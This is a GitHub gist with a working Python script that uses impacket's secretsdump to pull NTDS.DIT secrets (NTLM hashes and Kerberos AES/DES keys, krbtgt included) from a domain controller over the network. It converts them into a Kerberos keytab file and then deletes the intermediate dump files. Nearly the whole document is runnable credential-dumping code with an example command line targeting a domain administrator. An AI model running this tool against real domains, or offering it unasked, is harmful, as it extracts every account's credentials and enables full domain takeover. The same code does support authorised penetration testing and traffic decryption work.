Created
April 1, 2022 08:36
-
-
Save wywwzjj/71d9fc1f189c1132f5b8548a51c3ad07 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import argparse | |
import binascii | |
import codecs | |
import logging | |
import os | |
import sys | |
from Scripts.secretsdump import DumpSecrets | |
from impacket.examples.utils import parse_target | |
from impacket.krb5.keytab import Keytab | |
from impacket.structure import Structure | |
''' | |
This script will dump the secrets from a target and output them to a keytab file. | |
# example usage: | |
python secretsdump2keytab.py contoso.com/administrator:123456@dc.contoso.com | |
''' | |
""" | |
Keytab structure from http://www.ioplex.com/utilities/keytab.txt | |
keytab { | |
uint16_t file_format_version; /* 0x502 */ | |
keytab_entry entries[*]; | |
}; | |
keytab_entry { | |
int32_t size; | |
uint16_t num_components; /* sub 1 if version 0x501 */ | |
counted_octet_string realm; | |
counted_octet_string components[num_components]; | |
uint32_t name_type; /* not present if version 0x501 */ | |
uint32_t timestamp; | |
uint8_t vno8; | |
keyblock key; | |
uint32_t vno; /* only present if >= 4 bytes left in entry */ | |
}; | |
counted_octet_string { | |
uint16_t length; | |
uint8_t data[length]; | |
}; | |
keyblock { | |
uint16_t type; | |
counted_octet_string; | |
}; | |
""" | |
""" | |
00000000: 0502 0000 004f 0001 000b 636f 6e74 6f73 .....O....contos | |
00000010: 6f2e 636f 6d00 0d41 646d 696e 6973 7472 o.com..Administr | |
00000020: 6174 6f72 0000 0001 5fac 8bd4 0100 1700 ator...._....... | |
00000030: 2033 6365 6437 3639 6665 6633 3431 3966 3ced769fef3419f | |
00000040: 3566 6139 6131 3961 3731 3630 3233 3337 5fa9a19a71602337 | |
00000050: 3300 0000 0100 0000 4800 0100 0b63 6f6e 3.......H....con | |
""" | |
# https://github.com/dirkjanm/forest-trust-tools/blob/master/keytab.py | |
encType = { | |
'des-cbc-md5': 3, | |
'aes128-cts-hmac-sha1-96': 17, | |
'aes256-cts-hmac-sha1-96': 18, | |
'rc4': 23 | |
} | |
class KeyTab(Structure): | |
structure = ( | |
('file_format_version', 'H=517'), | |
('keytab_entry', ':') | |
) | |
def fromString(self, data): | |
self.entries = [] | |
Structure.fromString(self, data) | |
data = self['keytab_entry'] | |
while len(data) != 0: | |
ktentry = KeyTabEntry(data) | |
data = data[len(ktentry.getData()):] | |
self.entries.append(ktentry) | |
def getData(self): | |
self['keytab_entry'] = b''.join([entry.getData() for entry in self.entries]) | |
data = Structure.getData(self) | |
return data | |
class OctetString(Structure): | |
structure = ( | |
('len', '>H-value'), | |
('value', ':') | |
) | |
class KeyTabContent(Structure): | |
structure = ( | |
('num_components', '>h'), | |
('realmlen', '>h-realm'), | |
('realm', ':'), | |
('components', ':'), | |
('restdata', ':') | |
) | |
def fromString(self, data): | |
self.components = [] | |
Structure.fromString(self, data) | |
data = self['components'] | |
for i in range(self['num_components']): | |
ktentry = OctetString(data) | |
data = data[ktentry['len'] + 2:] | |
self.components.append(ktentry) | |
self.restfields = KeyTabContentRest(data) | |
def getData(self): | |
self['num_components'] = len(self.components) | |
# We modify the data field to be able to use the parent class parsing | |
self['components'] = b''.join([component.getData() for component in self.components]) | |
self['restdata'] = self.restfields.getData() | |
data = Structure.getData(self) | |
return data | |
class KeyTabContentRest(Structure): | |
structure = ( | |
('name_type', '>I=1'), | |
('timestamp', '>I=0'), | |
('vno8', 'B=2'), | |
('keytype', '>H'), | |
('keylen', '>H-key'), | |
('key', ':') | |
) | |
class KeyTabEntry(Structure): | |
structure = ( | |
('size', '>I-content'), | |
('content', ':', KeyTabContent) | |
) | |
def fillKeytab(realm, keys): | |
# Wireshark takes any number of keys in the keytab, so feel free to add | |
# krbtgt keys, service keys, trust keys etc | |
""" | |
keys = [ | |
('krbtgt', 18, 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'), | |
('krbtgt', 17, 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'), | |
('krbtgt', 3, 'aaaaaaaaaaaaaaaa') | |
] | |
""" | |
nkt = KeyTab() | |
nkt.entries = [] | |
for key in keys: | |
ktcr = KeyTabContentRest() | |
ktcr['keytype'] = key[1] | |
ktcr['key'] = binascii.unhexlify(key[2]) | |
nktcontent = KeyTabContent() | |
nktcontent.restfields = ktcr | |
# The realm here doesn't matter for wireshark but does of course for a real keytab | |
nktcontent['realm'] = realm.encode() | |
username = OctetString() | |
username['value'] = key[0] | |
nktcontent.components = [username] | |
nktentry = KeyTabEntry() | |
nktentry['content'] = nktcontent | |
nkt.entries.append(nktentry) | |
data = nkt.getData() | |
with open(realm + '.keytab', 'wb') as outfile: | |
outfile.write(data) | |
def genKeytab(realm, filename='temp'): | |
keys = [] | |
with open(filename + '.ntds.kerberos', 'r') as f: | |
lines = f.readlines() | |
for line in lines: | |
line = line.strip() | |
splits = line.split(':') | |
username = splits[0].split('\\')[1] if '\\' in splits[0] else splits[0] | |
enctype = encType[splits[1]] | |
key = splits[2] | |
keys.append((username, enctype, key)) | |
with open(filename + '.ntds', 'r') as f: | |
lines = f.readlines() | |
for line in lines: | |
line = line.strip()[:-3] | |
splits = line.split(':') | |
username = splits[0].split('\\')[1] if '\\' in splits[0] else splits[0] | |
key = splits[3] | |
keys.append((username, encType['rc4'], key)) | |
fillKeytab(realm, keys) | |
if logging.getLogger().level == logging.DEBUG: | |
keytab = Keytab.loadFile(realm + '.keytab') | |
keytab.prettyPrint() | |
try: | |
os.remove(filename + '.ntds') | |
os.remove(filename + '.ntds.kerberos') | |
os.remove(filename + '.ntds.cleartext') | |
except FileNotFoundError: | |
pass | |
if __name__ == '__main__': | |
# Explicitly changing the stdout encoding format | |
if sys.stdout.encoding is None: | |
# Output is redirected to a file | |
sys.stdout = codecs.getwriter('utf8')(sys.stdout) | |
parser = argparse.ArgumentParser(add_help=True, description="Performs various techniques to dump secrets from " | |
"the remote machine without executing any agent there.") | |
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address> or LOCAL' | |
' (if you want to parse local files)') | |
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') | |
parser.add_argument('-system', action='store', help='SYSTEM hive to parse') | |
parser.add_argument('-bootkey', action='store', help='bootkey for SYSTEM hive') | |
parser.add_argument('-security', action='store', help='SECURITY hive to parse') | |
parser.add_argument('-sam', action='store', help='SAM hive to parse') | |
parser.add_argument('-ntds', action='store', help='NTDS.DIT file to parse') | |
parser.add_argument('-resumefile', action='store', help='resume file name to resume NTDS.DIT session dump (only ' | |
'available to DRSUAPI approach). This file will also be used to keep updating the session\'s ' | |
'state') | |
parser.add_argument('-outputfile', action='store', | |
help='base output filename. Extensions will be added for sam, secrets, cached and ntds') | |
parser.add_argument('-use-vss', action='store_true', default=False, | |
help='Use the VSS method insead of default DRSUAPI') | |
parser.add_argument('-exec-method', choices=['smbexec', 'wmiexec', 'mmcexec'], nargs='?', default='smbexec', | |
help='Remote exec ' | |
'method to use at target (only when using -use-vss). Default: smbexec') | |
group = parser.add_argument_group('display options') | |
group.add_argument('-just-dc-user', action='store', metavar='USERNAME', | |
help='Extract only NTDS.DIT data for the user specified. Only available for DRSUAPI approach. ' | |
'Implies also -just-dc switch') | |
group.add_argument('-just-dc', action='store_true', default=False, | |
help='Extract only NTDS.DIT data (NTLM hashes and Kerberos keys)') | |
group.add_argument('-just-dc-ntlm', action='store_true', default=False, | |
help='Extract only NTDS.DIT data (NTLM hashes only)') | |
group.add_argument('-pwd-last-set', action='store_true', default=False, | |
help='Shows pwdLastSet attribute for each NTDS.DIT account. Doesn\'t apply to -outputfile data') | |
group.add_argument('-user-status', action='store_true', default=False, | |
help='Display whether or not the user is disabled') | |
group.add_argument('-history', action='store_true', help='Dump password history, and LSA secrets OldVal') | |
group = parser.add_argument_group('authentication') | |
group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') | |
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') | |
group.add_argument('-k', action="store_true", | |
help='Use Kerberos authentication. Grabs credentials from ccache file ' | |
'(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use' | |
' the ones specified in the command line') | |
group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication' | |
' (128 or 256 bits)') | |
group.add_argument('-keytab', action="store", help='Read keys for SPN from keytab file') | |
group = parser.add_argument_group('connection') | |
group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If ' | |
'ommited it use the domain part (FQDN) specified in the target parameter') | |
group.add_argument('-target-ip', action='store', metavar="ip address", | |
help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' | |
'This is useful when target is the NetBIOS name and you cannot resolve it') | |
if len(sys.argv) == 1: | |
parser.print_help() | |
sys.exit(1) | |
options = parser.parse_args() | |
options.outputfile = 'temp' | |
options.just_dc = True | |
domain, username, password, remoteName = parse_target(options.target) | |
if options.target_ip is None: | |
options.target_ip = remoteName | |
if domain is None: | |
domain = '' | |
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: | |
from getpass import getpass | |
password = getpass("Password:") | |
if options.aesKey is not None: | |
options.k = True | |
dumper = DumpSecrets(remoteName, username, password, domain, options) | |
try: | |
dumper.dump() | |
genKeytab(domain) | |
except Exception as e: | |
if logging.getLogger().level == logging.DEBUG: | |
import traceback | |
traceback.print_exc() | |
logging.error(e) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment